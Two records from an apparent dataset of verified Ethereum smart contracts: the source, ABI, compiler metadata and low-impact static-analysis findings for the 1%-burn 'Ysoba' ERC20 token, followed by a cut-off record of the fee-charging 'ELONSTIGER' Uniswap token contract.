0x4bb1b2eeb56557540029c29a982f897618c6deab
Solidity
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } } contract Ysoba is ERC20 { constructor () public ERC20("YSOBA", "SOBA") { _mint(msg.sender, 25000 * (10 ** uint256(decimals()))); } function transfer(address to, uint256 amount) public override returns (bool) { return super.transfer(to, _partialBurn(amount)); } function transferFrom(address from, address to, uint256 amount) public override returns (bool) { return super.transferFrom(from, to, _partialBurnTransferFrom(from, amount)); } function _partialBurn(uint256 amount) internal returns (uint256) { uint256 burnAmount = amount.div(100); if (burnAmount > 0) { _burn(msg.sender, burnAmount); } return amount.sub(burnAmount); } function _partialBurnTransferFrom(address _originalSender, uint256 amount) internal returns (uint256) { uint256 burnAmount = amount.div(100); if (burnAmount > 0) { _burn(_originalSender, burnAmount); } return amount.sub(burnAmount); } }
[]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Ysoba.sol": [32, 33, 34, 35, 36, 26, 27, 28, 29, 30, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Ysoba.sol": [58, 59, 60, 61]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Ysoba.sol": [212, 213, 214]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Ysoba.sol": [53, 54, 55]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Ysoba.sol": [169, 170, 171, 172]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Ysoba.sol": [120, 121, 119]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Ysoba.sol": [136, 134, 135]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Ysoba.sol": [163, 164, 165, 166]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Ysoba.sol": [114, 115, 116]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Ysoba.sol": [129, 130, 131]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Ysoba.sol": [152, 153, 150, 151]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Ysoba.sol": [145, 146, 147]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Ysoba.sol": [64]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Ysoba.sol": [1]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Ysoba.sol": [114, 115, 116]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Ysoba.sol": [120, 121, 119]}}]
[]
[{"rule": "SOLIDITY_ERC20_APPROVE", "line": 150, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 64, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 96, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 98, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 100, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 102, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 103, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 104, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 94, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
v0.6.12+commit.27d51765
false
200
Default
None
false
ipfs://f8f8d72f7e4bbeac0533db0155445c62355030774981cb4a23d7b8ece760132f
ELONSTIGER
0xfd96708bb9cb61df407d756a272180ee14ba30ad
Solidity
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; //event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); //function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. (easter egg from the genius dev @nomessages9.) */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ELONSTIGER is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address payable private dev1Wallet; address payable private dev2Wallet; address payable private dev3Wallet; address payable private dev4Wallet; address payable private dev5Wallet; address payable public marketingWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool private gasLimitActive = true; uint256 private gasPriceLimit = 561 * 1 gwei; // do not allow over x gwei for launch // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalDevFees; uint256 public sellTotalDevFees; uint256 private buyDev1Fee; uint256 private buyDev2Fee; uint256 private buyDev3Fee; uint256 private buyDev4Fee; uint256 private buyDev5Fee; uint256 public marketingFee; uint256 private sellDev1Fee; uint256 private sellDev2Fee; uint256 private sellDev3Fee; uint256 private sellDev4Fee; uint256 private sellDev5Fee; uint256 private tokensForDev1; uint256 private tokensForDev2; uint256 private tokensForDev3; uint256 private tokensForDev4; uint256 private tokensForDev5; uint256 private tokensForMarketing; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event BuyBackTriggered(uint256 amount); event OwnerForcedSwapBack(uint256 timestamp); constructor() ERC20("Elons Tiger", "BALLISH") 